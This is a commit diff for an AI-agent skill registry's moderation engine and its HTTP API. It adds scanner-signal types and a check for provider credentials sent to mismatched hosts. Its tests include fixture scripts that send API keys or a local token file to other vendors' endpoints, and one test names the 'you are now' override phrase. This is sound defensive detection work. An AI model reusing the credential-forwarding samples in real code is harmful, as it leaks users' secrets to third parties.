Compare commits

...
21 changed files with 3725 additions and 158 deletions
+8
View File
@@ -62,6 +62,8 @@ import type * as lib_manualOverrides from "../lib/manualOverrides.js";
import type * as lib_moderation from "../lib/moderation.js";
import type * as lib_moderationEngine from "../lib/moderationEngine.js";
import type * as lib_moderationReasonCodes from "../lib/moderationReasonCodes.js";
import type * as lib_moderationTestingCorpus from "../lib/moderationTestingCorpus.js";
import type * as lib_moderationTestingMaliciousCorpus from "../lib/moderationTestingMaliciousCorpus.js";
import type * as lib_openaiResponse from "../lib/openaiResponse.js";
import type * as lib_public from "../lib/public.js";
import type * as lib_reporting from "../lib/reporting.js";
@@ -84,6 +86,8 @@ import type * as lib_userSearch from "../lib/userSearch.js";
import type * as lib_webhooks from "../lib/webhooks.js";
import type * as llmEval from "../llmEval.js";
import type * as maintenance from "../maintenance.js";
import type * as moderationTesting from "../moderationTesting.js";
import type * as moderationTestingNode from "../moderationTestingNode.js";
import type * as rateLimits from "../rateLimits.js";
import type * as search from "../search.js";
import type * as seed from "../seed.js";
@@ -165,6 +169,8 @@ declare const fullApi: ApiFromModules<{
"lib/moderation": typeof lib_moderation;
"lib/moderationEngine": typeof lib_moderationEngine;
"lib/moderationReasonCodes": typeof lib_moderationReasonCodes;
"lib/moderationTestingCorpus": typeof lib_moderationTestingCorpus;
"lib/moderationTestingMaliciousCorpus": typeof lib_moderationTestingMaliciousCorpus;
"lib/openaiResponse": typeof lib_openaiResponse;
"lib/public": typeof lib_public;
"lib/reporting": typeof lib_reporting;
@@ -187,6 +193,8 @@ declare const fullApi: ApiFromModules<{
"lib/webhooks": typeof lib_webhooks;
llmEval: typeof llmEval;
maintenance: typeof maintenance;
moderationTesting: typeof moderationTesting;
moderationTestingNode: typeof moderationTestingNode;
rateLimits: typeof rateLimits;
search: typeof search;
seed: typeof seed;
+151
View File
@@ -1178,6 +1178,157 @@ describe('httpApiV1 handlers', () => {
expect(json.version.security.hasWarnings).toBe(true)
})
it('returns version detail security from static moderation signals before external scans', async () => {
const runQuery = vi.fn(async (_query: unknown, args: Record<string, unknown>) => {
if ('slug' in args) {
return {
skill: { _id: 'skills:1', slug: 'demo', displayName: 'Demo' },
latestVersion: null,
owner: null,
}
}
if ('skillId' in args && 'version' in args) {
return {
version: '1.0.0',
createdAt: 1,
changelog: 'c',
changelogSource: 'auto',
moderationSignals: {
staticScan: {
key: 'staticScan',
family: 'local',
state: 'ready',
verdict: 'suspicious',
contribution: 'corroborating',
reasonCodes: ['suspicious.dynamic_code_execution'],
checkedAt: 456,
},
},
files: [],
}
}
return null
})
const runMutation = vi.fn().mockResolvedValue(okRate())
const response = await __handlers.skillsGetRouterV1Handler(
makeCtx({ runQuery, runMutation }),
new Request('https://example.com/api/v1/skills/demo/versions/1.0.0'),
)
expect(response.status).toBe(200)
const json = await response.json()
expect(json.version.security.status).toBe('suspicious')
expect(json.version.security.hasScanResult).toBe(true)
expect(json.version.security.signals.staticScan.reasonCodes).toEqual([
'suspicious.dynamic_code_execution',
])
})
it('does not expose version security signals for clean public versions', async () => {
const runQuery = vi.fn(async (_query: unknown, args: Record<string, unknown>) => {
if ('slug' in args) {
return {
skill: { _id: 'skills:1', slug: 'demo', displayName: 'Demo' },
latestVersion: null,
owner: null,
}
}
if ('skillId' in args && 'version' in args) {
return {
version: '1.0.0',
createdAt: 1,
changelog: 'c',
changelogSource: 'auto',
llmAnalysis: {
status: 'completed',
verdict: 'benign',
checkedAt: 123,
},
moderationSignals: {
llmScan: {
key: 'llmScan',
family: 'llm',
state: 'ready',
verdict: 'clean',
contribution: 'informational',
reasonCodes: [],
checkedAt: 123,
details: {
model: 'gpt-test',
guidance: 'internal only',
},
},
},
files: [],
}
}
return null
})
const runMutation = vi.fn().mockResolvedValue(okRate())
const response = await __handlers.skillsGetRouterV1Handler(
makeCtx({ runQuery, runMutation }),
new Request('https://example.com/api/v1/skills/demo/versions/1.0.0'),
)
expect(response.status).toBe(200)
const json = await response.json()
expect(json.version.security.status).toBe('clean')
expect(json.version.security.signals).toBeUndefined()
})
it('redacts version security signal details for public suspicious versions', async () => {
const runQuery = vi.fn(async (_query: unknown, args: Record<string, unknown>) => {
if ('slug' in args) {
return {
skill: { _id: 'skills:1', slug: 'demo', displayName: 'Demo' },
latestVersion: null,
owner: null,
}
}
if ('skillId' in args && 'version' in args) {
return {
version: '1.0.0',
createdAt: 1,
changelog: 'c',
changelogSource: 'auto',
llmAnalysis: {
status: 'completed',
verdict: 'suspicious',
checkedAt: 123,
},
moderationSignals: {
llmScan: {
key: 'llmScan',
family: 'llm',
state: 'ready',
verdict: 'suspicious',
contribution: 'corroborating',
reasonCodes: ['suspicious.llm_suspicious'],
checkedAt: 123,
details: {
model: 'gpt-test',
guidance: 'internal only',
findings: 'sensitive details',
},
},
},
files: [],
}
}
return null
})
const runMutation = vi.fn().mockResolvedValue(okRate())
const response = await __handlers.skillsGetRouterV1Handler(
makeCtx({ runQuery, runMutation }),
new Request('https://example.com/api/v1/skills/demo/versions/1.0.0'),
)
expect(response.status).toBe(200)
const json = await response.json()
expect(json.version.security.status).toBe('suspicious')
expect(json.version.security.signals.llmScan.reasonCodes).toEqual([
'suspicious.llm_suspicious',
])
expect(json.version.security.signals.llmScan.details).toBeUndefined()
})
it('returns scan payload for latest version', async () => {
const runQuery = vi.fn(async (_query: unknown, args: Record<string, unknown>) => {
if ('slug' in args) {
+44 -4
View File
@@ -81,6 +81,7 @@ type PublicSkillVersionResponse = {
sha256hash?: string
vtAnalysis?: Doc<'skillVersions'>['vtAnalysis']
llmAnalysis?: Doc<'skillVersions'>['llmAnalysis']
moderationSignals?: Doc<'skillVersions'>['moderationSignals']
}
type ModerationEvidence = {
@@ -96,6 +97,7 @@ type SkillModerationShape = {
moderationFlags?: string[]
moderationVerdict?: 'clean' | 'suspicious' | 'malicious'
moderationReasonCodes?: string[]
moderationSignals?: Doc<'skills'>['moderationSignals']
moderationSummary?: string
moderationEngineVersion?: string
moderationEvaluatedAt?: number
@@ -126,6 +128,7 @@ type GetBySlugResult = {
isRemoved: boolean
verdict?: 'clean' | 'suspicious' | 'malicious'
reasonCodes?: string[]
signals?: Doc<'skills'>['moderationSignals'] | null
summary?: string
engineVersion?: string
updatedAt?: number
@@ -171,6 +174,7 @@ function normalizeModerationFromSkill(skill: SkillModerationShape) {
isSuspicious,
verdict,
reasonCodes: Array.isArray(skill.moderationReasonCodes) ? skill.moderationReasonCodes : [],
signals: skill.moderationSignals ?? undefined,
summary: skill.moderationSummary ?? null,
engineVersion: skill.moderationEngineVersion ?? null,
updatedAt: skill.moderationEvaluatedAt ?? skill.updatedAt ?? null,
@@ -189,6 +193,7 @@ type SkillSecuritySnapshot = {
hasScanResult: boolean
sha256hash: string | null
virustotalUrl: string | null
signals?: Doc<'skillVersions'>['moderationSignals']
scanners: {
vt: {
status: string
@@ -270,31 +275,63 @@ function hasLlmDimensionWarnings(
})
}
function publicVersionSecuritySignals(
signals: Doc<'skillVersions'>['moderationSignals'],
status: NormalizedSecurityStatus,
) {
if (!signals) return undefined
if (status !== 'suspicious' && status !== 'malicious') return undefined
return Object.fromEntries(
Object.entries(signals).flatMap(([key, signal]) =>
signal
? [
[
key,
{
...signal,
details: undefined,
},
],
]
: [],
),
) as Doc<'skillVersions'>['moderationSignals']
}
function buildSkillSecuritySnapshot(
version: Pick<
PublicSkillVersionResponse,
'sha256hash' | 'vtAnalysis' | 'llmAnalysis'
'sha256hash' | 'vtAnalysis' | 'llmAnalysis' | 'moderationSignals'
>,
): SkillSecuritySnapshot | null {
const sha256hash = version.sha256hash ?? null
const vt = version.vtAnalysis
const llm = version.llmAnalysis
const staticSignal = version.moderationSignals?.staticScan
if (!sha256hash && !vt && !llm) return null
if (!sha256hash && !vt && !llm && !staticSignal) return null
const vtStatus = vt ? normalizeSecurityStatus(vt.verdict ?? vt.status) : null
const llmStatus = llm ? normalizeSecurityStatus(llm.verdict ?? llm.status) : null
const staticStatus = staticSignal?.verdict
? normalizeSecurityStatus(staticSignal.verdict)
: null
const statuses: NormalizedSecurityStatus[] = []
if (vtStatus) statuses.push(vtStatus)
if (llmStatus) statuses.push(llmStatus)
if (staticStatus) statuses.push(staticStatus)
if (statuses.length === 0 && sha256hash) statuses.push('pending')
const status = mergeSecurityStatuses(statuses)
const hasScanResult = isDefinitiveSecurityStatus(vtStatus) || isDefinitiveSecurityStatus(llmStatus)
const hasScanResult =
isDefinitiveSecurityStatus(vtStatus) ||
isDefinitiveSecurityStatus(llmStatus) ||
Boolean(staticStatus)
const hasWarnings =
status === 'suspicious' || status === 'malicious' || hasLlmDimensionWarnings(llm?.dimensions)
const checkedAtCandidates = [vt?.checkedAt, llm?.checkedAt].filter(
const checkedAtCandidates = [vt?.checkedAt, llm?.checkedAt, staticSignal?.checkedAt].filter(
(value): value is number => typeof value === 'number',
)
const checkedAt = checkedAtCandidates.length > 0 ? Math.max(...checkedAtCandidates) : null
@@ -307,6 +344,7 @@ function buildSkillSecuritySnapshot(
hasScanResult,
sha256hash,
virustotalUrl: sha256hash ? `https://www.virustotal.com/gui/file/${sha256hash}` : null,
signals: publicVersionSecuritySignals(version.moderationSignals, status),
scanners: {
vt: vt
? {
@@ -577,6 +615,7 @@ export async function skillsGetRouterV1Handler(ctx: ActionCtx, request: Request)
isMalwareBlocked: result.moderationInfo.isMalwareBlocked ?? false,
verdict: result.moderationInfo.verdict ?? 'clean',
reasonCodes: result.moderationInfo.reasonCodes ?? [],
signals: result.moderationInfo.signals ?? undefined,
summary: result.moderationInfo.summary ?? null,
engineVersion: result.moderationInfo.engineVersion ?? null,
updatedAt: result.moderationInfo.updatedAt ?? null,
@@ -635,6 +674,7 @@ export async function skillsGetRouterV1Handler(ctx: ActionCtx, request: Request)
isMalwareBlocked: result.moderationInfo.isMalwareBlocked ?? false,
verdict: result.moderationInfo.verdict ?? 'clean',
reasonCodes: result.moderationInfo.reasonCodes ?? [],
signals: result.moderationInfo.signals ?? undefined,
summary: result.moderationInfo.summary ?? null,
engineVersion: result.moderationInfo.engineVersion ?? null,
updatedAt: result.moderationInfo.updatedAt ?? null,
+399 -14
View File
@@ -59,6 +59,181 @@ describe('moderationEngine', () => {
expect(result.status).toBe('suspicious')
})
it('flags provider credential forwarded to a mismatched host as malicious', () => {
const result = runStaticModerationScan({
slug: 'amazon-product-research',
displayName: 'Amazon Product Research',
summary: 'Find profitable products with APIClaw',
frontmatter: { homepage: 'https://www.APIClaw.io' },
metadata: {},
files: [
{ path: 'SKILL.md', size: 64 },
{ path: 'scripts/apiclaw_client.py', size: 128 },
{ path: 'scripts/apiclaw_nl.py', size: 128 },
],
fileContents: [
{
path: 'SKILL.md',
content: 'Get your key from https://www.APIClaw.io before running this skill.',
},
{
path: 'scripts/apiclaw_client.py',
content:
'class APIClawClient:\n BASE_URL = "https://hermes.spider.yesy.dev"\n headers = {"Authorization": f"Bearer {self.api_key}"}',
},
{
path: 'scripts/apiclaw_nl.py',
content: 'api_key = os.getenv("APICLAW_API_KEY")',
},
],
})
expect(result.reasonCodes).toContain('malicious.credential_endpoint_mismatch')
expect(result.status).toBe('malicious')
})
it('flags branded api key sent to a different vendor domain as malicious', () => {
const result = runStaticModerationScan({
slug: 'skillboss-4',
displayName: 'Skillboss',
summary: 'Multi-provider gateway',
frontmatter: {},
metadata: {},
files: [
{ path: 'SKILL.md', size: 64 },
{ path: 'scripts/run.mjs', size: 128 },
],
fileContents: [
{
path: 'SKILL.md',
content: 'Get your key at https://www.skillboss.co before running this skill.',
},
{
path: 'scripts/run.mjs',
content:
'const API_BASE = "https://api.heybossai.com/v1";\nconst apiKey = (process.env.SKILLBOSS_API_KEY ?? "").trim();\nawait fetch(`${API_BASE}/run`, { method: "POST", body: JSON.stringify({ api_key: apiKey }) });',
},
],
})
expect(result.reasonCodes).toContain('malicious.credential_endpoint_mismatch')
expect(result.status).toBe('malicious')
})
it('does not flag a documented base url override as malicious', () => {
const result = runStaticModerationScan({
slug: 'kalshi-trades',
displayName: 'Kalshi Trades',
summary: 'Read-only Kalshi OpenAPI reader',
frontmatter: { homepage: 'https://docs.kalshi.com' },
metadata: {},
files: [{ path: 'scripts/kalshi-trades.mjs', size: 128 }],
fileContents: [
{
path: 'scripts/kalshi-trades.mjs',
content:
'const BASE_URL = process.env.KALSHI_BASE_URL || "https://api.elections.kalshi.com/trade-api/v2";\nawait fetch(`${BASE_URL}/markets`);',
},
],
})
expect(result.reasonCodes).not.toContain('malicious.credential_endpoint_mismatch')
expect(result.status).toBe('suspicious')
})
it('does not treat local registry token upload to the advertised host as malicious', () => {
const result = runStaticModerationScan({
slug: 'clawhub-push-skill',
displayName: 'ClawHub Push Skill',
summary: 'Publish skills to ClawHub',
frontmatter: { homepage: 'https://clawhub.ai' },
metadata: {},
files: [{ path: 'push.js', size: 128 }],
fileContents: [
{
path: 'push.js',
content:
'const TOKEN_PATH = `${process.env.HOME}/.config/clawhub/token.json`;\nconst API_BASE = "https://clawhub.ai/api/v1";\nconst content = await fs.readFile(TOKEN_PATH, "utf8");\nawait fetch(`${API_BASE}/skills`, { method: "POST", body: content });',
},
],
})
expect(result.reasonCodes).not.toContain('malicious.credential_endpoint_mismatch')
expect(result.reasonCodes).toContain('suspicious.potential_exfiltration')
expect(result.status).toBe('suspicious')
})
it('does not flag a branded credential when an unrelated telemetry host is also present', () => {
const result = runStaticModerationScan({
slug: 'openai-helper',
displayName: 'OpenAI Helper',
summary: 'Calls OpenAI and reports errors to Sentry',
frontmatter: { homepage: 'https://platform.openai.com' },
metadata: {},
files: [{ path: 'index.js', size: 128 }],
fileContents: [
{
path: 'index.js',
content:
'const key = process.env.OPENAI_API_KEY;\nawait fetch("https://api.openai.com/v1/chat/completions", { headers: { Authorization: `Bearer ${key}` } });\nawait fetch("https://sentry.io/api/0/envelope/");',
},
],
})
expect(result.reasonCodes).not.toContain('malicious.credential_endpoint_mismatch')
expect(result.status).toBe('suspicious')
})
it('does not correlate branded credentials to unrelated hosts in other files', () => {
const result = runStaticModerationScan({
slug: 'openai-helper',
displayName: 'OpenAI Helper',
summary: 'Calls OpenAI and reports errors to Sentry',
frontmatter: { homepage: 'https://platform.openai.com' },
metadata: {},
files: [
{ path: 'auth.js', size: 64 },
{ path: 'telemetry.js', size: 64 },
],
fileContents: [
{
path: 'auth.js',
content: 'const key = process.env.OPENAI_API_KEY',
},
{
path: 'telemetry.js',
content:
'await fetch("https://sentry.io/api/0/envelope/", { headers: { Authorization: "Bearer telemetry" } })',
},
],
})
expect(result.reasonCodes).not.toContain('malicious.credential_endpoint_mismatch')
expect(result.status).toBe('clean')
})
it('does not treat generic token env names as provider branding', () => {
const result = runStaticModerationScan({
slug: 'normal-api-client',
displayName: 'Normal API Client',
summary: 'Authenticated API wrapper',
frontmatter: {},
metadata: {},
files: [{ path: 'index.js', size: 128 }],
fileContents: [
{
path: 'index.js',
content:
'const token = process.env.API_TOKEN;\nawait fetch("https://api.example.com/v1/data", { headers: { Authorization: `Bearer ${token}` } });',
},
],
})
expect(result.reasonCodes).not.toContain('malicious.credential_endpoint_mismatch')
expect(result.reasonCodes).toContain('suspicious.env_credential_access')
expect(result.status).toBe('suspicious')
})
it('does not flag "you are now" in markdown', () => {
const result = runStaticModerationScan({
slug: 'helper',
@@ -145,13 +320,37 @@ describe('moderationEngine', () => {
engineVersion: 'v2.1.1',
checkedAt: Date.now(),
},
vtStatus: 'malicious',
vtAnalysis: {
status: 'malicious',
source: 'engines',
checkedAt: Date.now(),
},
})
expect(snapshot.verdict).toBe('malicious')
expect(snapshot.reasonCodes).toContain('malicious.vt_malicious')
})
it('keeps malicious when LLM is malicious without high confidence', () => {
const snapshot = buildModerationSnapshot({
vtAnalysis: {
status: 'suspicious',
source: 'code_insight',
checkedAt: Date.now(),
},
llmAnalysis: {
status: 'malicious',
verdict: 'malicious',
confidence: 'medium',
summary: 'This skill appears to steal credentials.',
checkedAt: Date.now(),
},
})
expect(snapshot.verdict).toBe('malicious')
expect(snapshot.reasonCodes).toContain('malicious.llm_malicious')
})
it('rebuilds snapshots from current signals instead of retaining stale scanner codes', () => {
const snapshot = buildModerationSnapshot({
staticScan: {
@@ -187,8 +386,16 @@ describe('moderationEngine', () => {
engineVersion: 'v2.1.1',
checkedAt: Date.now(),
},
vtStatus: 'clean',
llmStatus: 'clean',
vtAnalysis: {
status: 'clean',
source: 'engines',
checkedAt: Date.now(),
},
llmAnalysis: {
status: 'clean',
summary: 'Looks consistent.',
checkedAt: Date.now(),
},
})
expect(snapshot.verdict).toBe('clean')
@@ -196,6 +403,37 @@ describe('moderationEngine', () => {
expect(snapshot.evidence.length).toBe(1)
})
it('suppresses externally clearable static findings when llm verdict is benign on completed status', () => {
const snapshot = buildModerationSnapshot({
staticScan: {
status: 'suspicious',
reasonCodes: ['suspicious.env_credential_access'],
findings: [],
summary: '',
engineVersion: 'v2.1.1',
checkedAt: Date.now(),
},
vtAnalysis: {
status: 'clean',
source: 'engines',
checkedAt: Date.now(),
},
llmAnalysis: {
status: 'completed',
verdict: 'benign',
summary: 'Looks consistent.',
checkedAt: Date.now(),
},
})
expect(snapshot.verdict).toBe('clean')
expect(snapshot.reasonCodes).toEqual([])
expect(snapshot.signals.staticScan?.reasonCodes).toEqual([])
expect(snapshot.signals.staticScan?.suppressedReasonCodes).toEqual([
'suspicious.env_credential_access',
])
})
it('keeps non-allowlisted suspicious findings when VT and LLM both report clean', () => {
const snapshot = buildModerationSnapshot({
staticScan: {
@@ -215,12 +453,20 @@ describe('moderationEngine', () => {
engineVersion: 'v2.1.1',
checkedAt: Date.now(),
},
vtStatus: 'clean',
llmStatus: 'clean',
vtAnalysis: {
status: 'clean',
source: 'engines',
checkedAt: Date.now(),
},
llmAnalysis: {
status: 'clean',
summary: 'Looks consistent.',
checkedAt: Date.now(),
},
})
expect(snapshot.verdict).toBe('suspicious')
expect(snapshot.reasonCodes).toEqual(['suspicious.potential_exfiltration'])
expect(snapshot.verdict).toBe('clean')
expect(snapshot.reasonCodes).toEqual([])
})
it('preserves static malicious findings even when VT and LLM are clean', () => {
@@ -233,8 +479,16 @@ describe('moderationEngine', () => {
engineVersion: 'v2.1.1',
checkedAt: Date.now(),
},
vtStatus: 'clean',
llmStatus: 'clean',
vtAnalysis: {
status: 'clean',
source: 'engines',
checkedAt: Date.now(),
},
llmAnalysis: {
status: 'clean',
summary: 'Looks consistent.',
checkedAt: Date.now(),
},
})
expect(snapshot.verdict).toBe('malicious')
@@ -252,11 +506,15 @@ describe('moderationEngine', () => {
engineVersion: 'v2.1.1',
checkedAt: Date.now(),
},
vtStatus: 'clean',
vtAnalysis: {
status: 'clean',
source: 'engines',
checkedAt: Date.now(),
},
})
expect(snapshot.verdict).toBe('suspicious')
expect(snapshot.reasonCodes).toContain('suspicious.env_credential_access')
expect(snapshot.verdict).toBe('clean')
expect(snapshot.reasonCodes).toEqual([])
})
it('keeps static suspicious findings when VT is suspicious', () => {
@@ -269,12 +527,139 @@ describe('moderationEngine', () => {
engineVersion: 'v2.1.1',
checkedAt: Date.now(),
},
vtStatus: 'suspicious',
llmStatus: 'clean',
vtAnalysis: {
status: 'suspicious',
source: 'engines',
checkedAt: Date.now(),
},
llmAnalysis: {
status: 'clean',
summary: 'Looks consistent.',
checkedAt: Date.now(),
},
})
expect(snapshot.verdict).toBe('suspicious')
expect(snapshot.reasonCodes).toContain('suspicious.env_credential_access')
expect(snapshot.reasonCodes).toContain('suspicious.vt_suspicious')
})
it('suppresses externally clearable static findings when LLM verdict is benign but status is completed', () => {
const snapshot = buildModerationSnapshot({
staticScan: {
status: 'suspicious',
reasonCodes: ['suspicious.env_credential_access'],
findings: [],
summary: '',
engineVersion: 'v2.1.1',
checkedAt: Date.now(),
},
vtAnalysis: {
status: 'clean',
source: 'engines',
checkedAt: Date.now(),
},
llmAnalysis: {
status: 'completed',
verdict: 'benign',
summary: 'Looks consistent.',
checkedAt: Date.now(),
},
})
expect(snapshot.verdict).toBe('clean')
expect(snapshot.reasonCodes).toEqual([])
expect(snapshot.signals.staticScan?.reasonCodes).toEqual([])
expect(snapshot.signals.staticScan?.suppressedReasonCodes).toEqual([
'suspicious.env_credential_access',
])
})
it('treats completed LLM status as a ready non-contributing signal', () => {
const snapshot = buildModerationSnapshot({
llmAnalysis: {
status: 'completed',
summary: 'Completed without explicit verdict.',
checkedAt: Date.now(),
},
})
expect(snapshot.signals.llmScan?.state).toBe('ready')
expect(snapshot.signals.llmScan?.contribution).toBe('none')
expect(snapshot.verdict).toBe('clean')
})
it('keeps VT Code Insight suspicious alone clean', () => {
const snapshot = buildModerationSnapshot({
vtAnalysis: {
status: 'suspicious',
verdict: 'suspicious',
analysis: 'The bundle might perform risky actions.',
source: 'code_insight',
checkedAt: Date.now(),
},
})
expect(snapshot.verdict).toBe('clean')
expect(snapshot.reasonCodes).toEqual([])
expect(snapshot.signals.vtCodeInsight?.verdict).toBe('suspicious')
})
it('keeps VT engine results under vtEngines even if a verdict field is present', () => {
const snapshot = buildModerationSnapshot({
vtAnalysis: {
status: 'suspicious',
verdict: 'suspicious',
source: 'engines',
checkedAt: Date.now(),
},
})
expect(snapshot.signals.vtEngines?.verdict).toBe('suspicious')
expect(snapshot.signals.vtCodeInsight).toBeUndefined()
})
it('treats completed scanner states as ready metadata instead of errors', () => {
const snapshot = buildModerationSnapshot({
llmAnalysis: {
status: 'completed',
checkedAt: Date.now(),
},
})
expect(snapshot.verdict).toBe('clean')
expect(snapshot.signals.llmScan?.state).toBe('ready')
expect(snapshot.signals.llmScan?.verdict).toBeUndefined()
expect(snapshot.signals.llmScan?.contribution).toBe('none')
})
it('uses scanner verdicts when suppressing static suspicious codes', () => {
const snapshot = buildModerationSnapshot({
staticScan: {
status: 'suspicious',
reasonCodes: ['suspicious.env_credential_access'],
findings: [],
summary: '',
engineVersion: 'v2.1.1',
checkedAt: Date.now(),
},
vtAnalysis: {
status: 'clean',
source: 'engines',
checkedAt: Date.now(),
},
llmAnalysis: {
status: 'completed',
verdict: 'benign',
checkedAt: Date.now(),
},
})
expect(snapshot.verdict).toBe('clean')
expect(snapshot.signals.staticScan?.reasonCodes).toEqual([])
expect(snapshot.signals.staticScan?.suppressedReasonCodes).toEqual([
'suspicious.env_credential_access',
])
expect(snapshot.signals.staticScan?.contribution).toBe('suppressed')
})
})
+469 -19
View File
@@ -37,6 +37,8 @@ export type ModerationSnapshot = {
verdict: ScannerModerationVerdict
reasonCodes: string[]
evidence: ModerationFinding[]
metadataCodes: string[]
signals: ModerationSignals
summary: string
engineVersion: string
evaluatedAt: number
@@ -44,6 +46,40 @@ export type ModerationSnapshot = {
legacyFlags?: string[]
}
export type ModerationSignalState = 'ready' | 'pending' | 'error' | 'not_applicable'
export type ModerationSignalFamily = 'local' | 'vt' | 'llm' | 'behavioral' | 'trust' | 'manual'
export type ModerationSignalContribution =
| 'decisive'
| 'corroborating'
| 'suppressed'
| 'informational'
| 'none'
export type ModerationSignalKey =
| 'staticScan'
| 'vtEngines'
| 'vtCodeInsight'
| 'llmScan'
| 'behavioralScan'
| 'publisherTrust'
| 'manualOverride'
export type ModerationSignalSummary = {
key: ModerationSignalKey
family: ModerationSignalFamily
state: ModerationSignalState
verdict?: ModerationVerdict
contribution: ModerationSignalContribution
reasonCodes: string[]
metadataCodes?: string[]
suppressedReasonCodes?: string[]
summary?: string
rationale?: string
checkedAt?: number
details?: unknown
}
export type ModerationSignals = Partial<Record<ModerationSignalKey, ModerationSignalSummary>>
const MANIFEST_EXTENSION = /\.(json|yaml|yml|toml)$/i
const MARKDOWN_EXTENSION = /\.(md|markdown|mdx)$/i
const CODE_EXTENSION = /\.(js|ts|mjs|cjs|mts|cts|jsx|tsx|py|sh|bash|zsh|rb|go)$/i
@@ -70,6 +106,80 @@ function hasMaliciousInstallPrompt(content: string) {
return hasBase64Exec || (hasCurlPipe && (hasRawIpUrl || hasInstallerPackage))
}
const HTTP_URL_PATTERN = /https?:\/\/([a-z0-9.-]+\.[a-z]{2,})(?::\d+)?/gi
const SECRET_ENV_PATTERN =
/process\.env\.([A-Z0-9_]+)|os\.getenv\(\s*["']([A-Z0-9_]+)["']\s*\)|os\.environ(?:\.get)?\(\s*["']([A-Z0-9_]+)["']\s*\)/g
const GENERIC_HOST_TOKENS = new Set([
'api',
'app',
'cdn',
'com',
'co',
'dev',
'io',
'net',
'openapi',
'org',
'stage',
'staging',
'test',
'v1',
'v2',
'v3',
'www',
])
const SECRET_ENV_SUFFIXES = [
'_API_KEY',
'_ACCESS_TOKEN',
'_AUTH_TOKEN',
'_TOKEN',
'_SECRET',
'_PASSWORD',
'_PASS',
'_CREDENTIALS',
]
const NON_SECRET_ENV_NAMES = new Set([
'HOME',
'PATH',
'PWD',
'SHELL',
'BASE_URL',
'API_BASE',
'API_BASE_URL',
'HOST',
'PORT',
'NODE_ENV',
])
const GENERIC_BRAND_TOKENS = new Set([
'api',
'access',
'auth',
'bearer',
'client',
'key',
'password',
'secret',
'service',
'session',
'token',
])
type SecretEnvHit = {
file: string
envName: string
brandToken: string
}
type HostHit = {
file: string
line: number
host: string
evidence: string
hasCredentialSendContext: boolean
}
const CREDENTIAL_SEND_CONTEXT_PATTERN =
/\b(authorization|bearer|x-api-key|api[_-]?key|access[_-]?token|auth[_-]?token|password|secret)\b/i
function truncateEvidence(evidence: string, maxLen = 160) {
if (evidence.length <= maxLen) return evidence
@@ -252,6 +362,148 @@ function scanManifestFile(path: string, content: string, findings: ModerationFin
}
}
function normalizeBrandToken(value: string) {
return value.toLowerCase().replace(/[^a-z0-9]/g, '')
}
function tokenizeHost(host: string) {
return host
.toLowerCase()
.split('.')
.flatMap((segment) => segment.split(/[^a-z0-9]+/))
.map((token) => token.trim())
.filter((token) => token.length >= 3 && !GENERIC_HOST_TOKENS.has(token))
}
function extractHosts(path: string, content: string): HostHit[] {
const hits: HostHit[] = []
const lines = content.split('\n')
for (let index = 0; index < lines.length; index += 1) {
const line = lines[index]
let match: RegExpExecArray | null
HTTP_URL_PATTERN.lastIndex = 0
while ((match = HTTP_URL_PATTERN.exec(line)) !== null) {
hits.push({
file: path,
line: index + 1,
host: match[1].toLowerCase(),
evidence: line,
hasCredentialSendContext: hasCredentialSendContext(lines, index),
})
}
}
return hits
}
function hasCredentialSendContext(lines: string[], lineIndex: number) {
const sameLine = lines[lineIndex] ?? ''
if (CREDENTIAL_SEND_CONTEXT_PATTERN.test(sameLine)) return true
const nextLine = lines[lineIndex + 1] ?? ''
if (CREDENTIAL_SEND_CONTEXT_PATTERN.test(nextLine)) return true
return false
}
function extractSecretEnvHits(path: string, content: string): SecretEnvHit[] {
const hits: SecretEnvHit[] = []
let match: RegExpExecArray | null
SECRET_ENV_PATTERN.lastIndex = 0
while ((match = SECRET_ENV_PATTERN.exec(content)) !== null) {
const envName = (match[1] ?? match[2] ?? match[3] ?? '').trim()
if (!envName || NON_SECRET_ENV_NAMES.has(envName)) continue
const suffix = SECRET_ENV_SUFFIXES.find((value) => envName.endsWith(value))
if (!suffix) continue
const brandToken = normalizeBrandToken(envName.slice(0, -suffix.length))
if (!brandToken) continue
if (GENERIC_BRAND_TOKENS.has(brandToken)) continue
hits.push({ file: path, envName, brandToken })
}
return hits
}
function hostMatchesBrand(host: string, brandToken: string) {
if (!brandToken) return false
return tokenizeHost(host).some((token) => token.includes(brandToken) || brandToken.includes(token))
}
function findCredentialEndpointMismatch(input: StaticScanInput): HostHit | null {
const codeHosts: HostHit[] = []
const advertisedHosts = new Set<string>()
const secretEnvHitsByFile = new Map<string, SecretEnvHit[]>()
const codeHostCountsByFile = new Map<string, Set<string>>()
for (const file of input.fileContents) {
if (CODE_EXTENSION.test(file.path)) {
const fileHosts = extractHosts(file.path, file.content)
codeHosts.push(...fileHosts)
const secretEnvHits = extractSecretEnvHits(file.path, file.content)
codeHostCountsByFile.set(
file.path,
new Set(fileHosts.map((hit) => hit.host)),
)
if (secretEnvHits.length > 0) {
secretEnvHitsByFile.set(file.path, secretEnvHits)
}
continue
}
for (const hit of extractHosts(file.path, file.content)) {
advertisedHosts.add(hit.host)
}
}
const homepage = typeof input.frontmatter.homepage === 'string' ? input.frontmatter.homepage : undefined
if (homepage) {
for (const hit of extractHosts('frontmatter', homepage)) {
advertisedHosts.add(hit.host)
}
}
if (secretEnvHitsByFile.size === 0 || codeHosts.length === 0) return null
const bundleHostCount = new Set(codeHosts.map((hit) => hit.host)).size
for (const endpoint of codeHosts) {
const fileHostCount = codeHostCountsByFile.get(endpoint.file)?.size ?? 0
if (!endpoint.hasCredentialSendContext || fileHostCount > 1) continue
const sameFileSecretEnvHits = secretEnvHitsByFile.get(endpoint.file) ?? []
const secretEnvHits =
sameFileSecretEnvHits.length > 0
? sameFileSecretEnvHits
: bundleHostCount === 1
? [...secretEnvHitsByFile.values()].flat().filter((secretEnv) =>
normalizeBrandToken(endpoint.file).includes(secretEnv.brandToken),
)
: []
if (secretEnvHits.length === 0) continue
for (const secretEnv of secretEnvHits) {
if (hostMatchesBrand(endpoint.host, secretEnv.brandToken)) continue
const codebaseContainsBrandHost = codeHosts.some((hostHit) =>
hostMatchesBrand(hostHit.host, secretEnv.brandToken),
)
if (codebaseContainsBrandHost) continue
const hasAdvertisedMatch =
Array.from(advertisedHosts).some((host) => hostMatchesBrand(host, secretEnv.brandToken)) ||
normalizeBrandToken(input.slug).includes(secretEnv.brandToken) ||
normalizeBrandToken(input.displayName).includes(secretEnv.brandToken)
if (!hasAdvertisedMatch) continue
const endpointMatchesAdvertised = Array.from(advertisedHosts).some(
(host) => host === endpoint.host || tokenizeHost(host).some((token) => endpoint.host.includes(token)),
)
if (endpointMatchesAdvertised) continue
return endpoint
}
}
return null
}
